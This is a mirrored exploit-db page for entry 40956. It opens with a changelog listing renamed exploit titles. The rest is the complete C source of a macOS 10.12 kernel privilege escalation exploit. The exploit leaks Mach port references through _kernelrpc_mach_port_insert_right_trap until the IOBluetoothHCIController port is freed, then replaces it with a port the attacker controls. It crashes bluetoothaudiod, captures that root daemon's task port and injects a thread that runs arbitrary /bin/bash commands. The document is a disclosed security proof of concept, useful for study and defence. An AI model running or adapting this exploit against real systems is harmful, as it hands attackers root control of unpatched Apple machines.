exploit-db-mirror/platforms/macos/local/40956.c
Offensive Security 26b1e8b6ad DB: 2016-12-23
10 new exploits

Microsoft Internet Explorer 11 - MSHTML CPaste­Command::Convert­Bitmapto­Png Heap-Based Buffer Overflow (MS14-056)

Microsoft Internet Explorer 11 MSHTML - CSplice­Tree­Engine::Remove­Splice Use-After-Free (MS14-035)
Microsoft Internet Explorer 11 - MSHTML CSplice­Tree­Engine::Remove­Splice Use-After-Free (MS14-035)
macOS 10.12.1 Kernel - Writable Privileged IOKit Registry Properties Code Execution
macOS 10.12 - Double vm_deallocate in Userspace MIG Code Use-After-Free
macOS < 10.12.2 / iOS < 10.2 Kernel - ipc_port_t Reference Count Leak Due to Incorrect externalMethod Overrides Use-After-Free
macOS 10.12.1 / iOS < 10.2 - powerd Arbitrary Port Replacement
macOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacement
IBM AIX 6.1/7.1/7.2 - 'Bellmail' Privilege Escalation
Vesta Control Panel 0.9.8-16 - Local Privilege Escalation
macOS < 10.12.2 / iOS < 10.2 Kernel - _kernelrpc_mach_port_insert_right_trap Reference Count Leak / Use-After-Free
macOS < 10.12.2 / iOS < 10.2 - Broken Kernel Mach Port Name uref Handling Privileged Port Name Replacement Privilege Escalation

PHP iCalendar 2.21 - (publish.ical.php) Remote Code Execution
PHP iCalendar 2.21 - 'publish.ical.php' Remote Code Execution

CzarNews 1.14 - (tpath) Remote File Inclusion
CzarNews 1.14 - 'tpath' Parameter Remote File Inclusion

N/X WCMS 4.1 - (nxheader.inc.php) Remote File Inclusion
N/X WCMS 4.1 - 'nxheader.inc.php' Remote File Inclusion

Powies pForum 1.29a - (editpoll.php) SQL Injection
Powies pForum 1.29a - 'editpoll.php' SQL Injection

AssetMan 2.4a - (download_pdf.php) Remote File Disclosure
AssetMan 2.4a - 'download_pdf.php' Remote File Disclosure

Orion-Blog 2.0 - (AdminBlogNewsEdit.asp) Remote Authentication Bypass
Orion-Blog 2.0 - Remote Authentication Bypass

Ol BookMarks Manager 0.7.4 - (root) Remote File Inclusion
Ol BookMarks Manager 0.7.4 - 'root' Parameter Remote File Inclusion

AdminBot 9.0.5 - (live_status.lib.php ROOT) Remote File Inclusion
AdminBot 9.0.5 - 'live_status.lib.php' Remote File Inclusion

WSN Links Basic Edition - (displaycat catid) SQL Injection
WSN Links Basic Edition - 'catid' Parameter SQL Injection

phpRealty 0.02 - (MGR) Multiple Remote File Inclusion
phpRealty 0.02 - 'MGR' Parameter Multiple Remote File Inclusion
jPORTAL 2 - mailer.php SQL Injection
jPORTAL 2.3.1 - articles.php SQL Injection
jPORTAL 2 - 'mailer.php' SQL Injection
jPORTAL 2.3.1 - 'articles.php' SQL Injection

AvailScript Jobs Portal Script - Authenticated (jid) SQL Injection
AvailScript Jobs Portal Script - 'jid' Parameter SQL Injection

PhpWebGallery 1.3.4 - Cross-Site Scripting / Local File Inclusion
PHPWebGallery 1.3.4 - Cross-Site Scripting / Local File Inclusion

D-iscussion Board 3.01 - (topic) Local File Inclusion
D-iscussion Board 3.01 - 'topic' Parameter Local File Inclusion

PhpWebGallery 1.3.4 - Blind SQL Injection
PHPWebGallery 1.3.4 - Blind SQL Injection
PhpWebGallery 1.3.4 - Blind SQL Injection
pForum 1.30 - (showprofil.php id) SQL Injection
WebPortal CMS 0.7.4 - (download.php aid) SQL Injection
iBoutique 4.0 - (cat) SQL Injection
SkaLinks 1.5 - (register.php) Arbitrary Add Editor
vbLOGIX Tutorial Script 1.0 - 'cat_id' SQL Injection
PHPWebGallery 1.3.4 - Blind SQL Injection
pForum 1.30 - 'showprofil.php' SQL Injection
WebPortal CMS 0.7.4 - 'download.php' SQL Injection
iBoutique 4.0 - 'cat' Parameter SQL Injection
SkaLinks 1.5 - 'register.php' Arbitrary Add Editor
vbLOGIX Tutorial Script 1.0 - 'cat_id' Parameter SQL Injection

pLink 2.07 - (linkto.php id) Blind SQL Injection
pLink 2.07 - 'linkto.php' Blind SQL Injection

FoT Video scripti 1.1b - (oyun) SQL Injection
FoT Video scripti 1.1b - 'oyun' Parameter SQL Injection

Pre Real Estate Listings - 'search.php c' SQL Injection
Pre Real Estate Listings - 'search.php' SQL Injection

iScripts EasyIndex - (produid) SQL Injection
iScripts EasyIndex - 'produid' Parameter SQL Injection
Hotel Reservation System - 'city.asp city' Blind SQL Injection
phpRealty 0.3 - (INC) Remote File Inclusion
PHP Crawler 0.8 - (footer) Remote File Inclusion
Technote 7 - (shop_this_skin_path) Remote File Inclusion
Hotel Reservation System - 'city.asp' Blind SQL Injection
phpRealty 0.3 - 'INC' Parameter Remote File Inclusion
PHP Crawler 0.8 - Remote File Inclusion
Technote 7 - 'shop_this_skin_path' Parameter Remote File Inclusion
E-PHP CMS - 'article.php es_id' SQL Injection
addalink 4 - 'category_id' SQL Injection
ProArcadeScript 1.3 - (random) SQL Injection
CYASK 3.x - (collect.php neturl) Local File Disclosure
Diesel Joke Site - 'picture_category.php id' SQL Injection
ProActive CMS - 'template' Local File Inclusion
E-PHP CMS - 'article.php' SQL Injection
addalink 4 - 'category_id' Parameter SQL Injection
ProArcadeScript 1.3 - 'random' Parameter SQL Injection
CYASK 3.x - 'neturl' Parameter Local File Disclosure
Diesel Joke Site - 'picture_category.php' SQL Injection
ProActive CMS - 'template' Parameter Local File Inclusion
Diesel Pay Script - (area) SQL Injection
Plaincart 1.1.2 - (p) SQL Injection
Oceandir 2.9 - (show_vote.php id) SQL Injection
jPORTAL 2 - 'humor.php id' SQL Injection
Diesel Pay Script - 'area' Parameter SQL Injection
Plaincart 1.1.2 - 'p' Parameter SQL Injection
Oceandir 2.9 - 'show_vote.php' SQL Injection
jPORTAL 2 - 'humor.php' SQL Injection

Diesel Job Site - (job_id) Blind SQL Injection
Diesel Job Site - 'job_id' Parameter Blind SQL Injection

e107 Plugin Image Gallery 0.9.6.2 - (image) SQL Injection
e107 Plugin Image Gallery 0.9.6.2 - SQL Injection

WSN Links 2.22/2.23 - (vote.php) SQL Injection
WSN Links 2.22/2.23 - 'vote.php' SQL Injection
BuzzyWall 1.3.1 - (search.php search) SQL Injection
WCMS 1.0b - (news_detail.asp id) SQL Injection
BuzzyWall 1.3.1 - 'search' Parameter SQL Injection
WCMS 1.0b - 'news_detail.asp' SQL Injection

OpenElec 3.01 - (form.php obj) Local File Inclusion
OpenElec 3.01 - 'obj' Parameter Local File Inclusion
basebuilder 2.0.1 - (main.inc.php) Remote File Inclusion
Fez 1.3/2.0 RC1 - (list.php) SQL Injection
basebuilder 2.0.1 - 'main.inc.php' Remote File Inclusion
Fez 1.3/2.0 RC1 - 'list.php' SQL Injection
OpenRat 0.8-beta4 - (tpl_dir) Remote File Inclusion
Sofi WebGui 0.6.3 PRE - (mod_dir) Remote File Inclusion
OpenRat 0.8-beta4 - 'tpl_dir' Parameter Remote File Inclusion
Sofi WebGui 0.6.3 PRE - 'mod_dir' Parameter Remote File Inclusion

JETIK-WEB Software - 'sayfa.php kat' SQL Injection
JETIK-WEB Software - 'kat' Parameter SQL Injection
WebPortal CMS 0.7.4 - (code) Remote Code Execution
HotScripts Clone - 'cid' SQL Injection
WebPortal CMS 0.7.4 - 'code' Parameter Remote Code Execution
HotScripts Clone - 'cid' Parameter SQL Injection
emergecolab 1.0 - (sitecode) Local File Inclusion
mailwatch 1.0.4 - (docs.php doc) Local File Inclusion
PHPcounter 1.3.2 - (defs.php l) Local File Inclusion
emergecolab 1.0 - 'sitecode' Parameter Local File Inclusion
mailwatch 1.0.4 - 'doc' Parameter Local File Inclusion
PHPcounter 1.3.2 - 'defs.php' Local File Inclusion

webcp 0.5.7 - (filelocation) Remote File Disclosure
webcp 0.5.7 - 'filelocation' Parameter Remote File Disclosure
LanSuite 3.3.2 - (design) Local File Inclusion
PHPOCS 0.1-beta3 - (index.php act) Local File Inclusion
Vikingboard 0.2 Beta - (task) Local File Inclusion
LanSuite 3.3.2 - 'design' Parameter Local File Inclusion
PHPOCS 0.1-beta3 - 'act' Parameter Local File Inclusion
Vikingboard 0.2 Beta - 'task' Parameter Local File Inclusion

barcodegen 2.0.0 - (class_dir) Remote File Inclusion
barcodegen 2.0.0 - 'class_dir' Parameter Remote File Inclusion

PHPcounter 1.3.2 - (index.php name) SQL Injection
PHPcounter 1.3.2 - 'index.php' SQL Injection

PhpWebGallery 1.7.2 - Session Hijacking / Code Execution
PHPWebGallery 1.7.2 - Session Hijacking / Code Execution

BuzzyWall 1.3.1 - (download id) Remote File Disclosure
BuzzyWall 1.3.1 - 'id' Parameter Remote File Disclosure

Pre Real Estate Listings - (Authentication Bypass) SQL Injection
Pre Real Estate Listings - Authentication Bypass

Netartmedia Real Estate Portal 1.2 - (ad_id) SQL Injection
Netartmedia Real Estate Portal 1.2 - 'ad_id' Parameter SQL Injection

SkaLinks 1.5 - (Authentication Bypass) SQL Injection
SkaLinks 1.5 - Authentication Bypass

diesel job site 1.4 - Multiple Vulnerabilities
Diesel Job Site 1.4 - Multiple Vulnerabilities

ProArcadeScript to Game - (game) SQL Injection
ProArcadeScript to Game - SQL Injection

Link Bid Script - 'links.php id' SQL Injection
Link Bid Script - 'links.php' SQL Injection

NetArt Media iBoutique 4.0 - (index.php key Parameter) SQL Injection
iBoutique 4.0 - 'key' Parameter SQL Injection

PHPForum 2.0 RC1 - Mainfile.php Remote File Inclusion
PHPForum 2.0 RC1 - 'Mainfile.php' Remote File Inclusion

JPortal 2.2.1 - print.php SQL Injection
jPORTAL 2.2.1 - 'print.php' SQL Injection

CzarNews 1.13/1.14 - headlines.php Remote File Inclusion
CzarNews 1.13/1.14 - 'headlines.php' Remote File Inclusion

JPortal 2.3.1 - Banner.php SQL Injection
jPORTAL 2.3.1 - 'Banner.php' SQL Injection

CJ Ultra Plus 1.0.3/1.0.4 - OUT.php SQL Injection
CJ Ultra Plus 1.0.3/1.0.4 - 'OUT.php' SQL Injection

JPortal 2.2.1/2.3.1 - download.php SQL Injection
jPORTAL 2.2.1/2.3.1 - 'download.php' SQL Injection
JPortal Web Portal 2.2.1/2.3.1 - comment.php id Parameter SQL Injection
JPortal Web Portal 2.2.1/2.3.1 - news.php id Parameter SQL Injection
JPortal Web Portal 2.2.1/2.3.1 - 'comment.php' SQL Injection
JPortal Web Portal 2.2.1/2.3.1 - 'news.php' SQL Injection

PHPWCMS 1.2.5 -DEV - random_image.php imgdir Parameter Traversal Arbitrary File Access
PHPWCMS 1.2.5 -DEV - 'imgdir' Parameter Traversal Arbitrary File Access

JPortal 2.2.1/2.3 Forum - forum.php SQL Injection
jPORTAL 2.2.1/2.3 Forum - 'forum.php' SQL Injection

Diesel Joke Site - Category.php SQL Injection
Diesel Joke Site - 'Category.php' SQL Injection
TinyPHPForum 3.6 - error.php Information Disclosure
TinyPHPForum 3.6 - UpdatePF.php Authentication Bypass
TinyPHPForum 3.6 - 'error.php' Information Disclosure
TinyPHPForum 3.6 - 'UpdatePF.php' Authentication Bypass
Vikingboard Viking board 0.1b - help.php act Parameter Cross-Site Scripting
Vikingboard Viking board 0.1b - report.php p Parameter Cross-Site Scripting
Vikingboard 0.1 - topic.php SQL Injection
Vikingboard 0.1b - 'help.php' Cross-Site Scripting
Vikingboard 0.1b - 'report.php' Cross-Site Scripting
Vikingboard 0.1 - 'topic.php' SQL Injection
PHP iCalendar 1.1/2.x - day.php Multiple Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - month.php Multiple Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - year.php Multiple Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - week.php Multiple Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - search.php Multiple Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - rss/index.php getdate Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - print.php getdate Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - preferences.php Multiple Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'day.php' Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'month.php' Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'year.php' Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'week.php' Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'search.php' Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'getdate' Parameter Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'print.php' Cross-Site Scripting
PHP iCalendar 1.1/2.x - 'preferences.php' Cross-Site Scripting
Vikingboard Viking board 0.1.2 - cp.php Multiple Parameter Cross-Site Scripting
Vikingboard Viking board 0.1.2 - user.php u Parameter Cross-Site Scripting
Vikingboard Viking board 0.1.2 - post.php Multiple Parameter Cross-Site Scripting
Vikingboard Viking board 0.1.2 - topic.php s Parameter Cross-Site Scripting
Vikingboard Viking board 0.1.2 - forum.php debug Variable Information Disclosure
Vikingboard Viking board 0.1.2 - cp.php debug Variable Information Disclosure
Vikingboard 0.1.2 - 'cp.php' Cross-Site Scripting
Vikingboard 0.1.2 - 'user.php' Cross-Site Scripting
Vikingboard 0.1.2 - 'post.php' Cross-Site Scripting
Vikingboard 0.1.2 - 'topic.php' Cross-Site Scripting
Vikingboard 0.1.2 - 'forum.php' Information Disclosure
Vikingboard 0.1.2 - 'cp.php' Information Disclosure
PaysiteReviewCMS 1.1 - search.php q Parameter Cross-Site Scripting
PaysiteReviewCMS - image.php image Parameter Cross-Site Scripting
PaysiteReviewCMS 1.1 - 'search.php' Cross-Site Scripting
PaysiteReviewCMS - 'image.php' Cross-Site Scripting

BuzzScripts BuzzyWall 1.3.2 - 'resolute.php' Information Disclosure
BuzzyWall 1.3.2 - 'resolute.php' Information Disclosure
2016-12-23 05:01:18 +00:00

479 lines
18 KiB
C
Executable file

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=941
Proofs of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40956.zip
The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code,
a lot of mach message and MIG code had to run for each leak.
There are a handful of mach operations which have their own fast-path syscalls (mach traps.)
One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach
port name in our process from a port we already have. Here's the code:
int
_kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args)
{
task_t task = port_name_to_task(args->target);
ipc_port_t port;
mach_msg_type_name_t disp;
int rv = MACH_SEND_INVALID_DEST;
if (task != current_task())
goto done;
rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly,
(ipc_object_t *)&port);
if (rv != KERN_SUCCESS)
goto done;
disp = (args->polyPoly);
rv = mach_port_insert_right(task->itk_space, args->name, port, disp);
done:
if (task)
task_deallocate(task);
return (rv);
}
ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights)
in the current process's mach port namespace and return an ipc_port_t pointer in port.
If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller.
mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then
no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap
doesn't handle the failure case.
it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new
right (eg MACH_PORT_NULL.)
This allows you to overflow the reference count of the port and cause a kernel UaF in about 20
minutes using a single thread.
################################################################################
LPE exploit for the kernel ipc_port_t reference leak bug
I wanted to explore some more interesting exploit primitives I could build with this bug.
One idea I had was to turn a send right for a mach port into a receive right for that port.
We can do this by using the reference count leak to cause a port for which we have a send right
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
which had a send right) and forcing the memory to be reallocated with a new port for which we
hold a receive right.
We could for example target a userspace IPC service and replace a send right we've looked up via
launchd with a receive right allowing us to impersonate the service to other clients.
Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
called directly. Those kernel-owned receive rights are however still ports and we can free them using
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
end up impersonating the kernel to other processes!
Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
services we can get other processes to send us their task ports and thus gain complete control over them.
io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
port and the message contains the sender's task port as the owningTask parameter :)
For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
parses XPC messages. This doesn't require bluetooth to be enabled.
Putting this all together the flow of the exploit looks like this:
* get a send right to the IOBluetoothHCIController IOService
* overflow the reference count of that ipc_port to 0 and free it
* allocate many new receive rights to reuse the freed ipc_port
* add the new receive rights to a port set to simplify receiving messages
* crash bluetoothaudiod forcing it to restart
* bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
* bluetoothaudiod will send its task port to the IOService
* the task port is actually sent to us as we have the receive right
* we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND
Tested on MacOS 10.12 16a323
The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
*/
// ianbeer
#if 0
LPE exploit for the kernel ipc_port_t reference leak bug
I wanted to explore some more interesting exploit primitives I could build with this bug.
One idea I had was to turn a send right for a mach port into a receive right for that port.
We can do this by using the reference count leak to cause a port for which we have a send right
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
which had a send right) and forcing the memory to be reallocated with a new port for which we
hold a receive right.
We could for example target a userspace IPC service and replace a send right we've looked up via
launchd with a receive right allowing us to impersonate the service to other clients.
Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
called directly. Those kernel-owned receive rights are however still ports and we can free them using
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
end up impersonating the kernel to other processes!
Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
services we can get other processes to send us their task ports and thus gain complete control over them.
io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
port and the message contains the sender's task port as the owningTask parameter :)
For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
parses XPC messages. This doesn't require bluetooth to be enabled.
Putting this all together the flow of the exploit looks like this:
* get a send right to the IOBluetoothHCIController IOService
* overflow the reference count of that ipc_port to 0 and free it
* allocate many new receive rights to reuse the freed ipc_port
* add the new receive rights to a port set to simplify receiving messages
* crash bluetoothaudiod forcing it to restart
* bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
* bluetoothaudiod will send its task port to the IOService
* the task port is actually sent to us as we have the receive right
* we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND
Tested on MacOS 10.12 16a323
The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <xpc/xpc.h>
#include <IOKit/IOKitLib.h>
void run_command(mach_port_t target_task, char* command) {
kern_return_t err;
// allocate some memory in the task
mach_vm_address_t command_addr = 0;
err = mach_vm_allocate(target_task,
&command_addr,
0x1000,
VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
printf("mach_vm_allocate: %s\n", mach_error_string(err));
return;
}
printf("allocated command at %zx\n", command_addr);
uint64_t bin_bash = command_addr;
uint64_t dash_c = command_addr + 0x10;
uint64_t cmd = command_addr + 0x20;
uint64_t argv = command_addr + 0x800;
uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};
err = mach_vm_write(target_task,
bin_bash,
"/bin/bash",
strlen("/bin/bash") + 1);
err = mach_vm_write(target_task,
dash_c,
"-c",
strlen("-c") + 1);
err = mach_vm_write(target_task,
cmd,
command,
strlen(command) + 1);
err = mach_vm_write(target_task,
argv,
argv_contents,
sizeof(argv_contents));
if (err != KERN_SUCCESS) {
printf("mach_vm_write: %s\n", mach_error_string(err));
return;
}
// create a new thread:
mach_port_t new_thread = MACH_PORT_NULL;
x86_thread_state64_t state;
mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;
memset(&state, 0, sizeof(state));
// the minimal register state we require:
state.__rip = (uint64_t)execve;
state.__rdi = (uint64_t)bin_bash;
state.__rsi = (uint64_t)argv;
state.__rdx = (uint64_t)0;
err = thread_create_running(target_task,
x86_THREAD_STATE64,
(thread_state_t)&state,
stateCount,
&new_thread);
if (err != KERN_SUCCESS) {
printf("thread_create_running: %s\n", mach_error_string(err));
return;
}
printf("done?\n");
}
void force_bluetoothaudiod_restart() {
xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
xpc_type_t t = xpc_get_type(event);
if (t == XPC_TYPE_ERROR){
printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
printf("received an event\n");
});
xpc_connection_resume(conn);
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(msg, "BTMethod", "BTCoreAudioPassthrough");
xpc_connection_send_message(conn, msg);
printf("waiting to make sure launchd knows the target has crashed\n");
usleep(100000);
printf("bluetoothaudiod should have crashed now\n");
xpc_release(msg);
// connect to the service again and send a message to force it to restart:
conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
xpc_type_t t = xpc_get_type(event);
if (t == XPC_TYPE_ERROR){
printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
printf("received an event\n");
});
xpc_connection_resume(conn);
msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(msg, "hello", "world");
xpc_connection_send_message(conn, msg);
printf("bluetoothaudiod should be calling IOServiceOpen now\n");
}
mach_port_t self;
void leak_one_ref(mach_port_t overflower) {
kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
self,
MACH_PORT_NULL, // an invalid name
overflower,
MACH_MSG_TYPE_COPY_SEND);
}
void leak_one_ref_for_receive(mach_port_t overflower) {
kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
self,
MACH_PORT_NULL, // an invalid name
overflower,
MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right
}
char* spinners = "-\\|/";
void leak_n_refs(mach_port_t overflower, uint64_t n_refs) {
int step = 0;
for (uint64_t i = 0; i < n_refs; i++) {
leak_one_ref(overflower);
if ((i % 0x40000) == 0) {
float done = (float)i/(float)n_refs;
step = (step+1) % strlen(spinners);
fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100);
fflush(stdout);
}
}
fprintf(stdout, "\roverflowed \n");
fflush(stdout);
}
// quickly take a release a kernel reference
// if the reference has been overflowed to 0 this will free the object
void inc_and_dec_ref(mach_port_t p) {
// if we pass something which isn't a task port name:
// port_name_to_task
// ipc_object_copyin
// takes a ref
// ipc_port_release_send
// drops a ref
_kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0);
}
/* try to get the free'd port replaced with a new port for which we have
* a receive right
* Once we've allocated a lot of new ports add them all to a port set so
* we can just receive on the port set to find the correct one
*/
mach_port_t replace_with_receive() {
int n_ports = 2000;
mach_port_t ports[n_ports];
for (int i = 0; i < n_ports; i++) {
mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]);
}
// allocate a port set
mach_port_t ps;
mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps);
for (int i = 0; i < n_ports; i++) {
mach_port_move_member( self, ports[i], ps);
}
return ps;
}
/* listen on the port set for io_service_open_extended messages :
*/
struct service_open_mig {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t owningTask;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t connect_type;
NDR_record_t ndr;
mach_msg_type_number_t propertiesCnt;
};
void service_requests(mach_port_t ps) {
size_t size = 0x1000;
struct service_open_mig* request = malloc(size);
memset(request, 0, size);
printf("receiving on port set\n");
kern_return_t err = mach_msg(&request->Head,
MACH_RCV_MSG,
0,
size,
ps,
0,
0);
if (err != KERN_SUCCESS) {
printf("error receiving on port set: %s\n", mach_error_string(err));
return;
}
mach_port_t replaced_with = request->Head.msgh_local_port;
printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port);
mach_port_t target_task = request->owningTask.name;
printf("got task port: 0x%x\n", target_task);
run_command(target_task, "touch /tmp/hello_from_fake_kernel");
printf("did that work?\n");
printf("leaking some refs so we don't kernel panic");
for(int i = 0; i < 0x100; i++) {
leak_one_ref_for_receive(replaced_with);
}
}
int main() {
self = mach_task_self(); // avoid making the trap every time
//mach_port_t test;
//mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test);
// get the service we want to target:
mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
printf("%d : 0x%x\n", getpid(), service);
// we don't know how many refs the port actually has - lets guess less than 40...
uint32_t max_refs = 40;
leak_n_refs(service, 0x100000000-max_refs);
// the port now has a reference count just below 0 so we'll try in a loop
// to free it, reallocate and test to see if it worked - if not we'll hope
// that was because we didn't free it:
mach_port_t fake_service_port = MACH_PORT_NULL;
for (uint32_t i = 0; i < max_refs; i++) {
inc_and_dec_ref(service);
mach_port_t replacer_ps = replace_with_receive();
// send a message to the service - if we receive it on the portset then we won:
mach_msg_header_t msg = {0};
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg.msgh_remote_port = service;
msg.msgh_id = 0x41414141;
msg.msgh_size = sizeof(msg);
kern_return_t err;
err = mach_msg(&msg,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("sending probe: %s\n", mach_error_string(err));
mach_msg_empty_rcv_t reply = {0};
mach_msg(&reply.header,
MACH_RCV_MSG | MACH_RCV_TIMEOUT,
0,
sizeof(reply),
replacer_ps,
1, // 1ms
0);
if (reply.header.msgh_id == 0x41414141) {
// worked:
printf("got the probe message\n");
fake_service_port = replacer_ps;
break;
}
printf("trying again (%d)\n", i);
// if it didn't work leak another ref and try again:
leak_one_ref(service);
}
printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n");
force_bluetoothaudiod_restart();
service_requests(fake_service_port);
return 0;
}